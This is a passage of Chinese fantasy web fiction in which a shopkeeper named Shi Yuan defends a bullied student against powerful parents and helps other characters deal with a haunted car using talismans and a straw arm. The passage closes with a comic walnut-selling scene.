于淑雅把昂贵的包包放在茶几上，优雅落座, 完全看不出之前隔着手机歇斯底里尖叫的样子。 “齐主任, 人都来了, 给我们介绍一下吧？” 齐主任：“这位是龙翻雪同学，翻雪的姐姐，不知道该怎么称呼？” 龙翻雪：“我姐姐叫时愿, 时间的时, 愿望的愿。” 齐主任又向他们介绍了其他人分别是谁的家长。 于淑雅对齐主任的介绍不满意, 又加了一句：“我女儿的秦, 是秦氏集团的秦。蓬莱大学的很多毕业生，都会加入秦氏集团。” “我女儿……”于淑雅瞥了一眼被她叫过来的秦暮雨, 改口，“我的两个女儿在考场里发生了一点口角，齐主任可能有点误会。龙同学, 可以拜托你澄清一下当时的情形吗？” 齐主任说了，在考场里斗殴影响其他同学，该罚。当时那个情形，被影响的其他同学只有龙翻雪。只要龙翻雪改口，就算有监控视频，她也能把这件事说成朋友之间的小口角，且当时避着人，没有影响其他考生。秘境里的考试，是可以组队合作的，有合作就能有摩擦，终究和笔试不一样。 沈父看向时愿：“龙同学的姐姐，家长都希望自家孩子进入大学的第一步走得顺利，你应该知道轻重，对吧？” 齐主任脸上的汗都快流成瀑布了，这几只老狐狸，竟然把时愿当作普通孩子，拐着弯地施加压力，暗示龙翻雪要是不改口，就会被这三个修仙世家联合“封杀”。 齐主任连忙表态：“这件事，学校一定会秉公处理。” 时愿一见到秦暮雨，就认出她了。上次见，小姑娘还很精神，这才过去多久，她这会儿小脸白得像纸，小腿上还缠着绷带，看着伤得不轻，眼里更是一片灰败。 在于淑雅改口的时候，时愿注意到，秦暮雨眼睛里闪过厌恶和无奈，双手也用力蜷缩起来，连指节都发白了。在听到于淑雅要求翻雪澄清的时候，秦暮雨满脸愧疚，脖子都弯了下去。 翻雪说过，秦霏霏和秦暮雨同父异母。 从于淑雅和秦霏霏的所作所为来看，秦暮雨在家里过得绝对不容易。 龙翻雪听出这几个虚伪大人的言外之意，张嘴就想怼他们，被时愿握住手腕，拦了下来。 时愿问：“齐老师，你说让所有人都过来说清楚，另外三位同学呢？” 于淑雅：“他们受伤了，还在医院里养伤。” “秦暮雨同学也受伤了。”时愿环视众人，“施暴者在医院里疗伤，同样受伤的受害者和见义勇为者，却在这里接受审问，真是闻所未闻。” “齐老师，这就是贵校的做事方法和教育方针吗？” 家长们没想到时愿年纪这么轻，说法办事这么硬气，踢了一块铁板，一个个脸都涨红了。 秦暮雨惊讶地抬起头，一滴眼泪落了下来。自从她妈妈去世，再也没有人护过她。 秦家人只会说，她是姐姐，要让着妹妹；重组家庭不容易，要体谅父亲；继母不好当，要理解于淑雅有情绪。他们对父亲的不忠、继母的不义和继妹的霸道只字不提，只想她委曲求全，粉饰太平。 好像她才是那个破坏家庭幸福的污点。 看到秦暮雨的眼泪，时愿看都不看其他人，直接对齐主任说：“让暮雨回去休息。” “暮雨，是妈妈想的不周全，妈妈想着你这是皮外伤，过来说几句话不碍事，毕竟你妹妹还在医院里躺着呢。”于淑雅擦了擦眼角，“你快点和老师解释清楚，然后回去休息吧。我们赶紧把这事解决了，要是传到你爸爸耳朵里，他该生我的气了，你知道他的脾气。” 于淑雅是在暗示她，秦父好面子，这事闹大了秦父肯定要骂她。秦暮雨感到恶心，换作从前，她一人敌不过这么多人，只能打落牙齿和血吞。 可是时愿的态度，给了秦暮雨莫大的勇气。她不想再做任人揉圆搓扁的包子。 秦暮雨攥紧双手，一开口声音还有点抖：“开考前，秦霏霏要我退学弃考……” “秦暮雨！”于淑雅厉声，“你想清楚再说话！” 迈出艰难的第一步，秦暮雨的声音平稳下来：“我不同意，她说进秘境会撕我的准考证。她跟踪我，说特意等到考试快结束的时候才动手，她还要我自己跳进水里，我忍无可忍才反抗。龙同学路过帮了我，这就是全部实情。” 时愿拍了拍翻雪的手，示意他可以说话了。 龙翻雪：“我听到秦霏霏计划欺负秦暮雨，所以跟了过去。” 于淑雅胡搅蛮缠：“你为什么要撕霏霏的准考证？她只是嘴上说说，你确是实打实地伤害了她。” 龙翻雪：“我撕准考证是为了秦霏霏好。” 于淑雅：“你这是什么歪理？” 龙翻雪：“我这是帮助他们冷静下来，好尽快得到救治。” 于淑雅脸都绿了：“你、你这是在颠倒黑白！” 时愿平静道：“想颠倒黑白的，是你们吧。” “齐主任。”一个西装革履的中年男人急匆匆走进办公室。 “老公！你终于来了。”于淑雅站起来，像是找到了撑腰的人。 “你来胡闹什么！”秦父劈头盖脸一顿骂，“还不快点向龙同学的家长和齐主任道歉！” 于淑雅面红耳赤：“老公，可是霏霏……” 她在秦父警告的视线下闭上了嘴巴。 “这位就是龙同学的姐姐吧？”秦父换上和气的表情，微微倾身，“我夫人爱女心切，所以闹了笑话，给你们添麻烦了。我们会接受学校的处分，没有异议。回去之后，我们一定会好好管教女儿。” 秦父看向秦暮雨：“暮雨，这件事因你而起，快向姐姐和龙同学道歉。” “她没做错事，为什么要道歉？”时愿蹙眉，“等那三位同学出院了，让他们来道歉才对。好心被当成驴肝肺，我弟很伤心。” 一点都不伤心的龙翻雪同学，配合地露出了委屈的表情。 于淑雅气得想掐人中，秦父却点头哈腰：“是，我一定让霏霏来给龙同学道歉。” 秦父这个态度，给沈父和黄母敲响了警钟，他一定是得到了什么消息，才滑跪得这么干脆。他们也识相地没有再闹。 时愿转向齐主任：“齐老师，贵校以后举办这种活动，还是加强管理吧。好好的一个活动，办成这个样子，真令人失望。” 齐主任连声道歉，被训得头都抬不起来了。 沈父和黄母见了，心里更慌了，他们到底漏了什么消息？齐主任资历很高，什么时候这样过？ 秦父离开前，唤了一声秦暮雨，她没有跟上。秦父看了眼时愿的脸色，和于淑雅先行离开了。 到了楼下，于淑雅憋不住了，红着眼圈抱怨：“老公，你怎么不帮霏霏争取一下？她刚入学就背这么大的处分，别的同学怎么看她。那个孩子，不过就是普通家庭……” 秦父停下脚步，剜了她一眼：“你还想以势压他？还好我收到消息及时赶过来，不然我就被你害惨了！” “什么意思？” “龙翻雪的舅舅，是现任守枫。他的姐姐，那个看似普通的年轻人，把枫叶带出了秘境，传言她是下一任守枫。”秦父骂道，“留校察看算什么？要是两任守枫发怒，秘境永久关闭，你知道秦家要损失多少吗？要是他们要报复我们，你又能承受多少？” 于淑雅脸上一点血色也无。 “这件事本来就是霏霏做得太过了，在外面还带人欺负她姐姐，偏偏还让人看见。都是你惯出来的！”秦父心中不安，“这件事能这样收场也就罢了……” 时愿送秦暮雨去校医室休息。 “姐姐，谢谢你。”秦暮雨话没说完，眼睛又湿了，“我会成长起来，以后不会再让人欺负了。” 秦暮雨太了解秦父了，他滑跪，一定是因为时愿是他得罪不起的人，这就是修仙世家的傲慢。 可是时愿，在不知道她是什么人的情况下，只因看出她的焦虑，就赠予她宝墨。 秦暮雨从前，只想留在秦家，膈应那一家三口，继承属于自己的财产，不让于淑雅和秦霏霏如意。 现在她的想法变了，或许是召唤出鲲鹏的那一刻，她的想法就变了。她想去找自己的天赋，想为自己而活。 时愿温柔地拭去她脸上的泪水：“嗯，姐姐信你，海阔从鱼跃，天高任鸟飞。” …… 夜幕落下。 锦绣市。 一栋阴森森的老宅子前，明逸扛着剑，倚靠着被密密麻麻的符纸封住的黑色轿车，单手刷着朋友圈。 看到栗子和宋晚的朋友圈，羡慕地点赞。 真好啊，他也想去逛秘境市集。 然后到时愿的朋友圈下写小作文卖惨，总结起来就是：出差错亿，下次求带。 刚发出去，旁边就伸过来一颗脑袋，差点没把他吓死。 他用一根手指把那颗脑袋推回去：“干什么，窥屏啊？” “我没有窥屏。”吴雨把自己的手机屏幕递到他面前，“我是在我的手机上看到的，你点赞了时愿大神的朋友圈，你竟然也认识她！” 明逸惊奇道：“你是怎么认识她的？” “狐仙坟，油纸伞。”吴雨说，“我的油纸伞是大神送的。” 明逸：“难怪。” 幸亏有那把油纸伞，他们才顺利把凶宅里的东西封进车里。接下来该怎么处理，还是个难题。 明逸笑了一声：“这么说来，是店主让你我结缘了。” 吴雨叹了口气：“是啊，我怎么都想不到，我会出现在这种地方。” 本该待在普通大学校园的吴雨为什么会出现在这里？说起来有一匹布那么长。 同行带着救出来的孩子过来了。小孩脖子上有一个黑色手掌印，但是，是从脖子里面透出来的掌心印。 明逸收起手机，揉了揉小孩的脑袋：“很难受吧？别怕，哥哥这就带你去找神医姐姐。” 第55章 龙叔和锦姨来到蓬莱大学的时候, 秘境市集都快结束了。 锦姨：“路上遇到了点麻烦，耽误了时间，小愿，玩得还开心吗？” “很开心, 翻雪给我换了好多花木, 小吃摊的味道也很好。”时愿把手中的袋子递给她, “给你们买的蛋黄酥和红糖糍粑，但是糍粑有点冷了。” “没关系没关系，我最喜欢吃这两样东西了。”锦姨满脸笑容，“谢谢小愿, 虽然没赶上市集, 能吃到这个也不遗憾了, 我好开心。” “妈，我想你还是会有遗憾的。”龙翻雪绘声绘色地描述时愿在办公室里大杀四方的场面。 锦姨果然十分遗憾：“欸？我好想亲眼看看！都怪你爸, 动作太慢了。” “怪我。”龙叔笑道, “但你人在现场, 就不会让小愿去处理这种琐事了。” “也是，可是想象一下那个画面，会有种‘吾家有女初长成’的感觉。”锦姨想到了什么, 忍俊不禁, “小愿的爸妈要是在, 肯定要对大家澄清, 小愿是时家的孩子了。” 时愿能想象得到那个画面，也笑了笑。 “小愿从小就护着弟弟。”龙叔拍了拍龙翻雪的肩膀, “你也该成长起来了，不能老麻烦姐姐。” 龙翻雪点头：“我会的。” “小愿，你爸妈出去旅游也有一段时间了吧, 什么时候回来？”锦姨说，“我有点想你妈妈了。” “回来过中秋。”时愿说，“他们前两天有寄了些手信回来，特意告诉我里面有一份是给你们的，我取了快递再送到面馆。” 锦姨：“出去旅游还想着我，我怎么能不想她嘛！” “姐，我打断一下。”池浔之接完电话回来，对大家说，“齐主任的电话，他让我帮他向时愿转达歉意，希望能代表学校招待我们晚饭，在学校的西竹轩。” “你没答应吧？”锦姨蹙眉，“我们一家人和小愿的朋友亲亲热热的吃饭，不太想让外人打扰。” “我回绝了。”池浔之看了看被插在花瓶里的枫树枝，问时愿，“小愿，你有兴趣接手看守枫林的工作吗？这份工作在蓬莱大学有很高的地位，待遇也不错，如果你愿意接手，我就可以安心退休了。” 原来池叔叔是枫林的看守么？时愿一直以为他是在图书馆工作，因为看起来文质彬彬。 时愿果断拒绝：“池叔叔，我已经接手了老家的杂货铺，不打算出来工作了。你还这么年轻，不急着退休。” 二十来岁的她已经提前过上半退休生活，池叔叔才是该拼搏的年纪。 “我猜到了。”池浔之略有些失望，“那我帮你拒绝齐主任。” 竟然是齐主任抛出来的橄榄枝，难道是她在办公室里提出的建议太犀利，获得了齐主任的赏识？ 可惜她对这份工作没有兴趣。 池浔之请他们在西竹轩吃饭，订了大包厢，没有人打扰，一顿饭吃得很自在，味道还真不错。 吃完饭天色不早了，大家一起把花木搬上龙叔的面包车，告别龙翻雪和池浔之，回桂圩镇。 回到杂货铺，栗子和宋晚不急着走，留下来帮忙整理花木。 栗子：“今天过得好充实，发生了好多事呢，不知道那个孩子回家之后会怎么样。” 时愿想起秦暮雨当时的神情，眼神变得柔和：“没事的，她应该学会照顾自己了。” 栗子很能共情秦暮雨，店主成了她成长的契机。看到倔强又努力的小朋友，栗子也充满了动力。 “明天我来帮您种花。” 宋晚：“我也来。” 时愿边洗手边说：“好，我给你们做咖啡，再去面包店订做核桃肉桂卷。” 一会儿问问面包店接不接单，她可以自带核桃和肉桂粉。 青云山的山核桃是真的香气浓郁。 “说起今天的事，我觉得太便宜那几个家长了，学生有留校察看的处分，他们却不用受到惩罚。”时愿说，“尤其是秦霏霏的父亲，一进门就将事情怪在妻子的头上。秦霏霏妈妈有错，但秦暮雨在家里的处境，是秦父的纵容造成的，他才是罪魁祸首。沈冠宇和黄念梦的家长也是，这几个孩子都没有成年，他们作为监护人，有不可推卸的责任。” 时愿很少说这么长的话，她站在火殃下方，用手帕擦拭着手指，目光有些冷。 栗子和宋晚连呼吸都放轻了，他们都清楚，店主绝对不是随口说说，这一番话，正是店主作为摆渡人，对这几个人做出的判决。 摆渡人不止载人渡冥河，也渡这人间的苦海。 时愿收起手帕：“他们会倒霉的，终有一天，自作自受。” 火殃闪烁一下，火光更亮了。 回去的路上，栗子说：“那几个人，真的要倒大霉了。” 宋晚：“店主说得没错，这是他们自作自受。” …… 锦绣市。 一辆车驶入树林，停在明逸面前。车上的人下来，对明逸说：“辛苦了，我们来接管现场，这辆车给你们用，车上有打包的饭菜和矿泉水，将就吃点。” 明逸手腕一转，长剑入鞘：“吴同学，走吧，我们先回去休息一晚，明天一早开车回桂圩镇。” 吴雨指着自己：“我我我也要去？我只是业余人员……” “以前或许是，现在不是了。”明逸打开车门，先把小朋友安排好，“你是你们学校派过来的一线战斗力，也是记录员，我估计你回去之后还要写报告或者论文，你确定不去？” 一语惊醒梦中人，吴雨：“我去！” 一语双关了。 小朋友是个女孩，明逸请一位女同事同行，路上帮忙照顾。 开夜车，明逸靠聊天提神：“吴同学，我看你胆子不大，怎么报这个专业？” “我是特招进来的，招生老师联系我的时候，说是要调剂到宗教学专业，我没有特别想学的专业，但是我特别想上锦绣大学啊，而且锦绣大学的宗教学专业排名很高，我没怎么考虑就同意了。我去学校报到才知道，学校调查过我的家庭背景，以为我继承了家里的相地之术。我这一届就四个新生，一个火居道士，两个灵师，加上我，了解完我们学校的课程，我天都塌了，其他学校的宗教学也不这样啊！” 车里的两个灵师哈哈大笑。 “你们别笑了。”吴雨一脸愁苦，“我想退学重考，我们老师发现我看得见那些东西，说什么都不肯让我退。” 紧接着，他们专业就发生了一件大事。有一位教授下乡调查民俗传说，遇到村民求助，有个小孩被困在凶宅里面了。教授进去救人，自己也没出来。 学校只能请外面的专家过来救援，这位专家就是明逸。 吴雨听说这件事后，吓惨了，带着时愿送的油纸伞去上学。谁知被周教授一眼相中，派他来协助明逸。 想起在凶宅里的经历，吴雨就瑟瑟发抖，绝对不想再体验一次。 “要不我还是退学吧……” “别啊。”明逸说，“这都是命运的安排，认命吧！” …… 有栗子和宋晚帮忙，时愿种花轻松多了。 之前网购的草花货不对板，尺寸太小了，时愿就没打算地栽，没想到丢在一旁，每天浇一浇水，它们就爆花了。 时愿挪了几块石板，用石头堆了个小圆形花坛，用这些草花和市集上收的不知名小草、黄色小苍兰搭配了一个小花境出来。 三年级学生送的光秃秃竹子，被种到了大花坛，时愿还在这里种了蓝雪花、虎皮兰、鼠尾草、无尽夏绣球、狐尾天门冬和石竹。 在市集上收的苔藓，就小朋友们说的“蔓金苔”，被时愿种到了花坛的缝隙里、鱼池附近和桂花树下。 种上花木，院子生机蓬勃，让人对往后的日子充满了期待。 时愿最喜欢翻雪挖的那株狐尾天门冬，和市面上买的不一样，手感更加毛茸茸，看着就治愈。 明逸风尘仆仆地抵达杂货铺时，时愿不在。 他问规规矩矩看店的栗子和宋晚：“前辈呢？” “你上门踩的这个时间点，绝。”宋晚说，“前辈去拿面包了，犒劳我们帮忙种花。” 栗子一眼看到小女孩脖子上的掌心印：“什么情况，伤那么重。” “我砍断了凶煞的手，那只手钻进她的脖子里了，现在说不了话也吃不了东西，因为有东西附身，暂时没有性命危险，拖下去肯定不行。我带她来给前辈看看。”明逸揉了揉僵硬的脖子，“我们熬太久了，不敢开夜车，也怕晚上赶路这东西搞事，今天凌晨五点就出发了，我还真不是故意踩这个点来蹭饭的。” “大人都这么辛苦了，何况小孩子。”栗子心疼地摸了摸小女孩的头发。 “明逸，带朋友来了？”时愿把饮料放在柜台上。 孙悦心回头，暗自心惊。这位年轻姑娘就是明逸和吴雨一直提起的大神，人都走到背后了，孙悦心都没察觉到她的气息！ 时愿见小女孩对着面包袋咽了咽口水，拿了个肉桂卷出来：“乖宝，要吃吗？” 小女孩凑过去，啊呜咬了一大口！ 第56章 小女孩吃肉桂卷的时候, 明逸几人都不敢说话。 她顺利咽下去之后，明逸和孙悦心激动得击掌。 吴雨更是感动得热泪盈眶，他体会过这种活在恐惧中的感觉，所以更能共情。 真是太不容易了, 刚把小女孩救出来的时候, 她吃什么吐什么, 哭都哭不出声音，小脸惨白，又惊又怕的样子，让人十分揪心。 时愿听到击掌声, 想问问咋了, 但小女孩就着她的手, 一口接着一口，她根本分不了心：“吃慢点, 别噎着。栗子, 拿瓶牛奶过来。” 栗子：“马上！” 时愿帮小女孩整理好额前的碎发, 笑问：“好吃吗？” 小女孩点点头：“还…想吃。” “她能说话了！明先生，悦心姐，小茉莉能说话了！”连日来积压的情绪终于找到一个发泄的出口, 吴雨再也控制不住, 蹲在地上, “哇”的一声大哭起来。 时愿被吓了一跳：“明逸, 你朋友怎么了？” “大神，我是、我是吴雨啊……”吴雨心里酸酸的, 一边哭，一边倒豆子一样向时愿倾诉他的遭遇。 他的情绪太失控了，说得颠三倒四, 还说漏了很多事，在时愿听来，事情成了这样—— 吴雨因为高考失利被调剂到了锦绣大学的宗教学，跟着导师下乡调研的时候，帮村民们找不见的小茉莉，最后在当地的凶宅里找到了，导师当初吓晕，还好得到了明逸的帮助。 两人加了好友，通过朋友圈发现他们都认识时愿。 被救出来之后，小茉莉吃不下东西，也不开口说话。当地灵师和村民觉得她被凶宅里的脏东西附身了，当地灵师处理不了这个问题，在得知吴雨爷爷是风水先生，而且认识望海市的一位很厉害很有威望的灵师，拜托他们带小茉莉过来求救。 这位叫孙悦心的姑娘，则是那位灵师的女儿，村民信赖的人，由她在路上陪同照顾小茉莉。 经过这件事，吴雨对这个专业更加抵触了，对自己的前途充满了忧虑，想要退学重考。 这种听起来很离谱的事，从小在乡镇长大，又回归乡镇的时愿，十分能理解。 吴雨说的那位很厉害的灵师，应该是叶幽尘，叶幽尘初次来杂货铺的时候说过，他是从吴雨那里问到的地址。 在时愿看来，小茉莉只是受了惊吓，需要一点时间去缓解心情。现在不是吃得挺香的吗，也主动开口说话了。 时愿给哭得双眼通红的吴雨递了盒湿纸巾：“原来你是吴雨啊，终于见面了。” 不管怎么说，杂货铺的两位客人，在其他地方结识，又一起来杂货铺找她，这种感觉还挺奇妙的。 注意到小茉莉脖子上脏了一块，时愿抽出一张湿纸巾，帮她擦干净了，又抽出一张新的，帮她擦干净小手。 “好了，干净了。” 在场的人全都瞪圆了眼睛，但时愿没有看到。 小茉莉伸手抱住时愿的脖子，闭上困困的眼睛，信赖地睡着了。 吴雨不敢再出声，怕吵醒小茉莉。 时愿让明逸把小茉莉抱到房间里睡，最近她都有打扫这边，客房很干净。 回到店里，孙悦心急切求教：“前辈，那辆车我们该怎么处理？” 吴雨确实有提到一辆车，那是他导师的车。他们把小茉莉带出来后，村民怀疑凶宅里的脏东西跑出来，钻进了那辆车里，当地灵师在车上贴满了符纸，防止脏东西逃走。 孙悦心问她，这是把她当成吴雨说的厉害灵师了？ 小茉莉吃她喂的东西，还和她说话了，在出身灵师家庭的孙悦心看来，她已经顺利帮小茉莉驱邪了。 时愿问明逸：“幽尘呢？” 这位才是他们要找的人，她来回答似乎不妥。 “去外地了，短时间内回不来。”明逸说，“这件事我们也问过他，他建议我们来问您的意见。” 时愿：我？ 望海市的很厉害的很有威望的灵师，指的是她？ 她的神棍名声已经传到锦绣市了。 对此，她只有六点想说：“……” 那边的人对凶宅闹鬼的事深信不疑，尤其是吴雨的导师，都吓晕过去了，他还是车主人。 叶幽尘又赶不回来，要是她不帮忙处理，万一那位老师在开车的时候疑神疑鬼，那就危险了。 外婆好像教过她，这种情况该怎么处理。 时愿陷入回忆。 她不说话，其他人心里更加打鼓。要是连店主都觉得棘手，那真的没招了。 时愿问吴雨：“你说，那东西的手被斩断了，附在了小茉莉身上。” 吴雨点头，还没来得及说是明逸砍的，时愿又继续说下去了。 “小茉莉已经好了，我一会儿会再给她去去晦气。至于车里的东西，它一定很迫切地想找齐魂魄。魂魄完整，方能进入轮回。” 孙悦心连连点头，紧张地看着时愿：“请前辈指点。” 时愿去杂物房取了一些种菜用的稻草，配合铁丝塑形，几下就扎出一只能参加艺术展的仿真手臂。 又取出在市集里买的纸，那位同学给这种纸编了个故事，说是用来画符能遮住鬼的眼睛，所以纸名为遮眼。 这故事虽是编的，这纸的质地却真的适合画符。 时愿把纸裁成合适的大小，画了几张符。 “这是捉拿符，恶鬼也怕。路途遥远，我怕你们弄坏，多画了几张备用。”时愿取一张符纸折好塞进稻草手臂里，“到时候，你们再在里面放一片小茉莉的衣角，就能骗过那东西了。打开车门，等那东西钻进稻草里，再把它烧了。用柚子叶打扫一遍车厢即可。” 时愿的符，不是乱画的，外婆教过她，她没什么兴趣，但是教一遍就记住了。 孙悦心要找有威望的灵师，外婆在世的时候，确实非常有名。时愿教她的这个办法，还真不是糊弄她，只是时愿本人不信这些罢了。 下午，周教授来桂圩镇接人，明逸和他约好在摆渡人事务所见面。 看到稻草手臂和那叠符，周教授连声赞叹：“高，真是高招。那位高人在哪里？我要去拜谢她，再请教一些问题！” 明逸拦住他：“前辈在画画，别打扰她，下次吧。我再跟你们走一趟，这个方术很有意思，我想亲眼见证。” “那就再好不过了。”周教授问，“这位高人是用什么方法，解决小茉莉脖子里的东西的呢？” 明逸：“用湿纸巾擦掉了。” “什么？”周教授怀疑自己年纪大了，耳背。 明逸搬出来两大箱湿纸巾：“店里的库存都被我们清空了，看在你们的学术工作还挺危险的份上，分你一箱。” 周教授：！ 还真是湿纸巾啊！ 宋晚一得空就回家去了，把在秘境市集里买的宝物摆满桌子。 他瞒得严严实实，宋爷爷现在才知道，着实很惊喜，围着桌子走了好几遍，这个摸摸那个瞧瞧。 宋爷爷冷静下来，才注意到桌上有一箱普通湿纸巾：“怎么还这个，抱回来多沉啊。” 宋晚：“爷爷，这箱湿纸巾是这里头最名贵的……” 宋晚说完今天发生在杂货铺里的事，宋爷爷爱不释手地摸着纸箱，要把这箱湿纸巾供起来，当传家宝。 “那可不行，有保质期。”宋晚笑问，“爷爷，你这次不给老朋友们打电话了？” “不打了。你好不容易才得到那位的赏识，爷爷除了给钱，什么都帮不了你，可不能再拖你的后腿了。我们宋家祖上靠灵师之术发家，传到我这一代就断了，还好你争气，爷爷会全力支持你。”宋爷爷话音一转，“再说了，做人不要太攀比。” 宋爷爷这次很低调，老李还是知道了。老李的孙子被朋友鸽了，没去成秘境市集，后来刷到朋友的朋友圈，在照片里看到了入镜的宋晚，手里提着大袋小袋。 老李把自己气进了医院，这件事就在他们圈子里传开了。 宋爷爷知道后，对宋晚说：“你看，我就说做人不要太攀比吧？老李气性太大了！” 锦绣市。 稻草手臂在地上到处乱爬，“遮眼”生效了，东西找不到人，又被“捉拿”困在稻草里出不来。 明逸扔出火把，烧了个干净。 火光照亮整个梦境，于淑雅被灼热包围，无法逃脱。 前方出现一盏灯笼，仔细看，灯笼下方还有一道飘渺的着红衣的人影。 于淑雅天赋不高，但也算半个修士，她意识到这不是普通梦境，这灯笼多半是来托梦的妖邪，她强行镇定下来：“你是谁？” “我是谁不重要，你做了错事，让我家主人不高兴了，我来给你应有的惩罚。”灯笼飘到于淑雅面前，伸出一只手，掐住她的下巴，“考察期六个月。” 于淑雅被烫得尖叫，虽然不知道妖邪在说什么，但吓得不停地道歉，求它饶恕。 于淑雅不知道的是，秦父也在做同样的噩梦，秦父也算见多识广，一眼看出，入梦的是火殃！ “主人说，你才是罪魁祸首。罪魁祸首，应该罚得更重些才是。”火殃挽起袖子，老实不客气地扇了秦父两巴掌，把他的脸都扇偏了，“考察期一年。” 于淑雅从梦中醒来，尖叫着滚下床。 “一大早上大呼小叫什么？”秦父也醒了，呲牙咧嘴地摸着脸颊，这里火辣辣的疼。 于淑雅看到他脸上火红的巴掌印，又是一阵尖叫：“你也梦到了是不是？我们被寻仇了！” 秦父看到她下巴上的指印，脸色很难看。他拿了面镜子来，看清楚后，沉声说：“那是火殃。我早就说过了，霏霏惹的事，没那么容易了结！这事都怪你，没搞清楚情况就去学校闹，惹了不该惹的人！” “那现在怎么办啊？”于淑雅大哭，“它还说什么考察期半年，这印子不会半年都不消吧？那我还怎么出去见人啊？我好痛！” 秦父被她哭得头疼：“你自己看着办！她养着火殃这么凶的东西，自然不是什么好相与的人。这半年你不要再作妖，不然担心你的小命！” 第57章 “你去逛个市集, 怎么还成传说了？” 楼嚣把几筐核桃搬下车，两贵和狡迫不及待地冲出来，围着时愿又蹭又汪汪叫。 蓬莱秘境市集结束之后，到处都在传, 下一任守枫出现了, 还是饲养火殃的狠角色。 新守枫把在市集上闹事的几个家长, 秦家的、沈家的和黄家的狠狠惩罚了一遍，这几个人顶着火殃扇的巴掌印，现在能不出门就不出门。 新守枫因为这件事，对蓬莱大学印象极差, 拒绝接任, 学校的管理层愁得头都秃了。 怼教导主任的事都传得这么远了？时愿有点郁闷, 揉搓着两贵的脑袋说：“我只是说了该说的话。你怎么把狗狗带过来了，路上照顾得来吗？” 一边把大妖当狗撸, 一边轻描淡写地说这种话, 可怕。 “他们闹着要来。”楼嚣说, “对了，秦家那两口子，想讨好大女儿, 但是大女儿不买账, 搬到学校住宿了。那几个欺凌她的学生, 因为晚上总做被推进水里的噩梦, 高烧不退，全都请长假了。” 时愿点点头, 回店里，提笔写下：大快人心。 楼嚣鼓掌：女侠行为！ 时愿：“核桃留在外面吧，显眼。这些核桃皮很薄, 品质好，定价15元一斤，你觉得怎么样？” 楼嚣：“你决定就好。” 时愿用小黑板写了价格，立在外面，她坐在窗边也能照看核桃生意。 她对楼嚣说：“你可以回去忙你的事了。” “不，我要亲自卖。”这可是他上任以来，负责的最重要的事，他想参与所有环节。楼嚣看了一圈店里，找到一张竹椅，他搬到外面去坐，还把两贵和狡强行拉出去陪自己。 “你俩也是青云山的一份子，有责任帮忙招揽生意。” 大少爷想体验摆摊生活？ 既然如此，那她先不发朋友圈了，让楼嚣自力更生。 “加油。”时愿铺开画纸，继续画红枫。说起来，这根枫树枝真好养活，只是泡在清水里，竟然还和刚捡到时一样，连叶子都不曾掉过一片。 时间一分一秒过去，直到时愿画完一幅画，喊楼嚣吃饭，楼嚣也没开张。 “为什么没生意呢？”楼嚣苦思冥想，得出结论，“你这里太偏僻了。生意这么差，我都没胃口吃饭了。” 时愿打开饭盒，刚买回来，新鲜出炉的烧鸭散发出强烈的香味，焦香中隐约有一缕柔和的果木清香。 时愿：“我买了两人份，你吃不下的话，可以给狗狗吃吗，它们可以吃烧鸭吗？” “它们不能吃。”楼嚣睁眼说瞎话，普通小狗确实不能吃烧鸭，但这俩货是妖。他咽了咽口水，义正词严地说，“浪费不好，我还是吃吧。” 楼嚣今天明白了两件事。 一是，人间的生意真难做。 二是，桂圩镇的烧鸭，再没胃口也吃得下两大碗。 时愿准时回家午休，楼嚣坚持继续守着核桃小摊。 万一开张了呢？ 事实证明，没有万一。 每当有人靠近，楼嚣都会死盯着那个人，无声地询问：买核桃吗？很便宜喔。 两贵和狡被迫和时愿分开，心里很不情愿，拉长着脸，不爽地盯着路人，时不时呲一呲牙，磨一磨爪子，喉咙里发出低哑的嘶吼声：快给我买！ 路人缩了缩脖子，远远绕开杂货铺门口，飞快地跑了。 楼嚣疑惑皱眉，这些人类都很赶时间吗？ 愿望杂货铺的地段果然太差了。 李婶听说时愿的店里有能祛斑的面霜，特意来买。远远看到一个染红发的高大小伙岔开长腿，抱着双手坐在门口，小伙身边蹲着两只长满腱子肉的大狗，路过的苍蝇都绕路飞。 这是打哪路来的凶神恶煞，看起来像背着十条人命！小愿家欠债了，这人是来要债的？ 不可能啊，小愿爸妈都是老实人，也没有不良习惯。小愿就更不用说了，这样的人物，还能缺钱？对了对了，难道是来求小愿办事的？ 李婶发散着思维，一不小心和楼嚣对上视线，她吓得一颗心都飞起来了，面霜也不买了，快步离开。 核桃？李婶压根没有注意到。 楼嚣：？ 他怀疑，这些路人嫌15一斤核桃太贵。这可是青云山的核桃，长期吃可以延年益寿。楼嚣皱眉，心道，这些人太没眼光了。 下午，时愿回来上班，楼嚣还是没有开张。 时愿见他皱着一张苦瓜脸，问：“要帮忙吗？” 楼嚣秒答：“再给我一次机会！” 他现在代表了青云山，不能给店主留下合作对象工作能力不行的印象！ 时愿没想到他这么热爱摆摊：“那你加油，我去喂鱼。” 楼嚣的坚持起了作用。 一个西装革履的男人在距离楼嚣一米多远的地方站定，迟疑地开口：“你好……” 楼嚣立刻起身，用目光锁定他：“买几斤？” 楼嚣身高将近一米九，再加上，两贵和狡也站了起来，给人带来十足的压迫感。 简家慕有种被当成猎物的感觉，想拔腿就逃。但他实在走投无路了，对方看起来很有气势，也符合他对“高人”的印象。 “我不是来买东西的，不对，我是来买好梦折纸花的！”简家慕差点咬到舌头，语无伦次地说，“我的员工向我推荐了这里，她们说这里的折纸花能摆脱噩梦，能、能美梦成真，我爸自从搬回老家，就总梦到去世的老邻居来敲门，他吓得大病一场，出院后还是做这个噩梦，怕得不行了，我们不求美梦成真……” “你不用说了。”楼嚣说，“好梦折纸花是限定赠品，早就不送了。” 简家慕失望得话都说不出来了。 楼嚣：“你家这个事很好解决，不用麻烦店主。我帮你搞定，但有个条件。” “多少钱我都愿意出！” “谁要你的钱了？”楼嚣指向核桃，“你买一点核桃。” 这是高人的怪癖吗？ 简家慕不去深究原因，爽快道：“我全部买下来！” “谁要你买全部了？”楼嚣话音一转，“你买下全部，跟多点人分享也行。” 青云山的目的是获得人类的愿力，像简家慕这种凡人顾客，转化不了多少愿力，自然是越多越好。 简家慕确定了，这就是高人的怪癖…… “好，都听您的。现在该怎么做？” “这里一共200斤核桃，3000块。”楼嚣问，“扫码还是现金，办会员卡能打折，办吗？” “……办！” 3000块对简家慕来说是一笔小钱，他这段时间为了这件事，流水一样地花钱，也没看到效果。 楼嚣服务周到，帮简家慕办好会员卡，又帮他把核桃搬上车。 简家慕受宠若惊：“怎么能让您动手……” “今天是我第一天打工，当然要做到最好。”楼嚣在心里补充，在人间打工的第一天，“我去和店主打声招呼，你带我去你老家看看。” 